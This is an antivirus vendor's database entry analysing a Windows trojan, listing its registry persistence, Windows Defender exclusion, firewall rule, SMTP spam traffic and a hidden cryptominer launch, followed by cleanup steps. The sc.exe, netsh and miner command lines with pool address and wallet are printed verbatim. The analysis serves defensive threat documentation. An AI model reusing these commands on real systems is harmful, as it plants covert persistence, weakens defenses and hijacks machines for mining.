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Trojan.Siggen8.53859

Added to the Dr.Web virus database: 2019-11-05

Virus description added:

Technical Information

To ensure autorun and distribution
Creates the following services
  • [<HKLM>\System\CurrentControlSet\Services\zzxcauoq] 'Start' = '00000002'
  • [<HKLM>\System\CurrentControlSet\Services\zzxcauoq] 'ImagePath' = '%WINDIR%\SysWOW64\zzxcauoq\ulhofeim.exe /d"<Full path to file>"'
  • [<HKLM>\SYSTEM\CurrentControlSet\services\zzxcauoq] 'ImagePath' = '%WINDIR%\SysWOW64\zzxcauoq\ulhofeim.exe'
Malicious functions
To complicate detection of its presence in the operating system,
adds antivirus exclusion with following registry keys:
  • [<HKLM>\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths] '%WINDIR%\SysWOW64\zzxcauoq' = '00000000'
Executes the following
  • '%WINDIR%\syswow64\netsh.exe' advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="%WINDIR%\SysWOW64\svchost.exe" enable=yes>nul
Injects code into
the following system processes:
  • %WINDIR%\syswow64\svchost.exe
Modifies file system
Creates the following files
  • %TEMP%\ulhofeim.exe
  • %WINDIR%\syswow64\config\systemprofile:.repos
Moves the following files
  • from %TEMP%\ulhofeim.exe to %WINDIR%\syswow64\zzxcauoq\ulhofeim.exe
Deletes itself.
Network activity
TCP
HTTP GET requests
  • http://www.google.com/
  • 'mx.###nsip.email':25
  • 'ALT2.ASPMX.L.GOOGLE.COM':25
  • 'mx###.eapps.com':25
  • 'mx#.###.#ailpod4-cph3.one.com':25
  • 'ma##.#psecure.it':25
  • 'mx#.#anmail.net':25
  • 'mx.####luciajunta.es':25
  • 'mx###.##il.am0.yahoodns.net':25
  • 'ma##.#-email.net':25
  • 'mx##.###lspamprotection.com':25
  • 'sm###.tomato.it':25
  • 'mx####.carrierzone.com':25
  • 'mx###.in-mx.com':25
  • 'mx#.##s-systems.com':25
  • 'va######.mail.dreamhost.com':25
  • 'ma##.netx1.com':25
  • '43.#31.4.7':443
  • 'ASPMX.L.GOOGLE.COM':25
  • '93.#79.68.4':427
  • '85.##4.134.88':483
  • 'mx####.##il.gm0.yahoodns.net':25
  • 'bi#####.herominers.com':10281
  • 'mx##.#irmail.net':25
  • 'mx#######201.gslb.pphosted.com':25
  • 'd5#####.##s.barracudanetworks.com':25
  • 'alt1.gmail-smtp-in.l.google.com':25
  • 'in##########m.mail.protection.outlook.com':25
  • 'mx#.#lesyk.com':25
  • 'ap#.###.#rotection.outlook.com':25
  • '19#.#.131.101':427
  • '14#.#6.199.2':427
  • '85.##.119.25':427
  • '46.#.52.109':427
  • '17#.#11.49.43':427
  • 'mx.###litalia.com':25
  • 'go###e.co.uk':443
  • UDP
    • DNS ASK mi##########m.mail.protection.outlook.com
    • DNS ASK us.#bm.com
    • DNS ASK sm###.tomato.it
    • DNS ASK to##to.it
    • DNS ASK mx##.###lspamprotection.com
    • DNS ASK bl######actorydirect.co.uk
    • DNS ASK mx#.#mdocs.com
    • DNS ASK br#####atersystems.com
    • DNS ASK mx#######801.gslb.pphosted.com
    • DNS ASK bl##ds.com
    • DNS ASK ma##.#-email.net
    • DNS ASK si#s.it
    • DNS ASK ge###i.shiny.it
    • DNS ASK mx###.##il.am0.yahoodns.net
    • DNS ASK ya##o.es
    • DNS ASK mx.####luciajunta.es
    • DNS ASK an####ciajunta.es
    • DNS ASK ma##.#psecure.it
    • DNS ASK el####oluxnet.it
    • DNS ASK mx#.#anmail.net
    • DNS ASK ha##ail.net
    • DNS ASK ds##.#niroma3.it
    • DNS ASK mx#.###.#ailpod4-cph3.one.com
    • DNS ASK br####ynwaste.se
    • DNS ASK mx#######d02.gslb.pphosted.com
    • DNS ASK gb#.#upont.com
    • DNS ASK ma##.#egister.it
    • DNS ASK de##a.it
    • DNS ASK vi####ontrol.com
    • DNS ASK mx###.eapps.com
    • DNS ASK mx######b2d01.pphosted.com
    • DNS ASK ad####ive-army.com
    • DNS ASK ma###.##jective-army.com
    • DNS ASK ce#####hnologies.com
    • DNS ASK mb##.#ediapoint.it
    • DNS ASK mx.##ichette.it
    • DNS ASK et###ette.it
    • DNS ASK go###e.co.uk
    • DNS ASK mx#######a02.gslb.pphosted.com
    • DNS ASK en##na.com
    • DNS ASK ao###rranty.com
    • DNS ASK ec##.##iv.trieste.it
    • DNS ASK kn####dgenet.com
    • DNS ASK ds####l.itg.ti.com
    • DNS ASK ub##.com
    • DNS ASK mx#######701.gslb.pphosted.com
    • DNS ASK bd#.com
    • DNS ASK mx.###litalia.com
    • DNS ASK cl######.eu.messagelabs.com
    • DNS ASK at#l.it
    • DNS ASK re#####benckiser.com
    • DNS ASK as##.#inet.net.au
    • DNS ASK bi###ue.net.au
    • DNS ASK mx#.##s-systems.com
    • DNS ASK te####lastuk.com
    • DNS ASK va######.mail.dreamhost.com
    • DNS ASK bi####emarker.com
    • DNS ASK mx#.#etis.it
    • DNS ASK me##s.it
    • DNS ASK ci##ast.net
    • DNS ASK mx###.in-mx.com
    • DNS ASK po##ino.it
    • DNS ASK ar####.bo.cnr.it
    • DNS ASK mx####.carrierzone.com
    • DNS ASK eq###tech.com
    • DNS ASK ed####nsult.co.ke
    • DNS ASK xs###ius.com
    • DNS ASK ALT2.ASPMX.L.GOOGLE.COM
    • DNS ASK ga###rks.com
    • DNS ASK e-##ym.com
    • DNS ASK do##rt.com
    • DNS ASK d5#####.##s.barracudanetworks.com
    • DNS ASK dv##omm.com
    • DNS ASK et###.#ail.tiscali.it
    • DNS ASK ti##ali.it
    • DNS ASK mx##.#irmail.net
    • DNS ASK ai##ail.net
    • DNS ASK mx.##.##il.iss.as9143.net
    • DNS ASK ca##ma.nl
    • DNS ASK mx#.#aver.com
    • DNS ASK na##r.com
    • DNS ASK alt1.gmail-smtp-in.l.google.com
    • DNS ASK gm##l.com
    • DNS ASK bi#####.herominers.com
    • DNS ASK mx#######201.gslb.pphosted.com
    • DNS ASK 19#.###.#11.95.cbl.abuseat.org
    • DNS ASK ib#.com
    • DNS ASK 19#.###.##1.95.sbl-xbl.spamhaus.org
    • DNS ASK ci####zkiewicz.com
    • DNS ASK 19#.###.#11.95.zen.spamhaus.org
    • DNS ASK ma##.agemont.it
    • DNS ASK ag##ont.it
    • DNS ASK 19#.###.#11.95.bl.spamcop.net
    • DNS ASK mx####.##il.gm0.yahoodns.net
    • DNS ASK 19#.###.#11.95.dnsbl.sorbs.net
    • DNS ASK ao#.com
    • DNS ASK 19#.###.211.95.in-addr.arpa
    • DNS ASK go##ing.com
    • DNS ASK us#.###.mailhostbox.com
    • DNS ASK gy##et.com
    • DNS ASK hu###eisn.com
    • DNS ASK bl##gold.it
    • DNS ASK mx.##p.sohu.com
    • DNS ASK vi#.#ohu.com
    • DNS ASK ASPMX.L.GOOGLE.COM
    • DNS ASK mt###yoke.edu
    • DNS ASK sl##.com
    • DNS ASK ma##.netx1.com
    • DNS ASK ne##1.com
    • DNS ASK google.com
    • DNS ASK ad##########.mail.protection.outlook.com
    • DNS ASK ad###hia.com
    • DNS ASK qb#.com
    • DNS ASK pr##wie.com
    • DNS ASK ne###lea.com
    • DNS ASK mx.###nsip.email
    • DNS ASK me####session.com
    • DNS ASK md##oes.com
    • DNS ASK ap#.###.#rotection.outlook.com
    • DNS ASK li##.com.au
    • DNS ASK ma####-system.com
    • DNS ASK lu##nt.com
    • DNS ASK lg###tp.lge.com
    • DNS ASK lg#.com
    • DNS ASK la###olink.com
    • DNS ASK mx#.#lesyk.com
    • DNS ASK kl##yk.com
    • DNS ASK in##########m.mail.protection.outlook.com
    • DNS ASK in###echo.com
    • DNS ASK in##.##manetwork.com
    • DNS ASK if#.com
    • DNS ASK ca##soft.it
    • DNS ASK eq###itywi.org
    Miscellaneous
    Creates and executes the following
    • '%WINDIR%\syswow64\zzxcauoq\ulhofeim.exe' /d"<Full path to file>"
    • '%WINDIR%\syswow64\cmd.exe' /C mkdir %WINDIR%\SysWOW64\zzxcauoq\' (with hidden window)
    • '%WINDIR%\syswow64\cmd.exe' /C move /Y "%TEMP%\ulhofeim.exe" %WINDIR%\SysWOW64\zzxcauoq\' (with hidden window)
    • '%WINDIR%\syswow64\sc.exe' create zzxcauoq binPath= "%WINDIR%\SysWOW64\zzxcauoq\ulhofeim.exe /d\"<Full path to file>\"" type= own start= auto DisplayName= "wifi support"' (with hidden window)
    • '%WINDIR%\syswow64\sc.exe' description zzxcauoq "wifi internet conection"' (with hidden window)
    • '%WINDIR%\syswow64\sc.exe' start zzxcauoq' (with hidden window)
    • '%WINDIR%\syswow64\netsh.exe' advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="%WINDIR%\SysWOW64\svchost.exe" enable=yes>nul' (with hidden window)
    Executes the following
    • '%WINDIR%\syswow64\cmd.exe' /C mkdir %WINDIR%\SysWOW64\zzxcauoq\
    • '%WINDIR%\syswow64\cmd.exe' /C move /Y "%TEMP%\ulhofeim.exe" %WINDIR%\SysWOW64\zzxcauoq\
    • '%WINDIR%\syswow64\sc.exe' create zzxcauoq binPath= "%WINDIR%\SysWOW64\zzxcauoq\ulhofeim.exe /d\"<Full path to file>\"" type= own start= auto DisplayName= "wifi support"
    • '%WINDIR%\syswow64\sc.exe' description zzxcauoq "wifi internet conection"
    • '%WINDIR%\syswow64\sc.exe' start zzxcauoq
    • '%WINDIR%\syswow64\svchost.exe'
    • '%WINDIR%\syswow64\svchost.exe' --algo=cn-heavy/tube -o bittube.herominers.com:10281 -u bs4jqvyUpC4XEDfBZxFG5N5UNC5ZymPnPQhmabvm4z8MM5geV7LUfhpfe7GtNBVdseY3aBBQd3in8YoXzVH32LXL2vjrv1wm4.55000 -p k -k

    Curing recommendations

    1. If the operating system (OS) can be loaded (either normally or in safe mode), download Dr.Web Security Space and run a full scan of your computer and removable media you use. More about Dr.Web Security Space.
    2. If you cannot boot the OS, change the BIOS settings to boot your system from a CD or USB drive. Download the image of the emergency system repair disk Dr.Web® LiveDisk , mount it on a USB drive or burn it to a CD/DVD. After booting up with this media, run a full scan and cure all the detected threats.
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    After booting up, run a full scan of all disk partitions with Dr.Web Anti-virus for Linux.

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    1. If the mobile device is operating normally, download and install Dr.Web for Android. Run a full system scan and follow recommendations to neutralize the detected threats.
    2. If the mobile device has been locked by Android.Locker ransomware (the message on the screen tells you that you have broken some law or demands a set ransom amount; or you will see some other announcement that prevents you from using the handheld normally), do the following:
      • Load your smartphone or tablet in the safe mode (depending on the operating system version and specifications of the particular mobile device involved, this procedure can be performed in various ways; seek clarification from the user guide that was shipped with the device, or contact its manufacturer);
      • Once you have activated safe mode, install the Dr.Web for Android onto the infected handheld and run a full scan of the system; follow the steps recommended for neutralizing the threats that have been detected;
      • Switch off your device and turn it on as normal.

    Find out more about Dr.Web for Android

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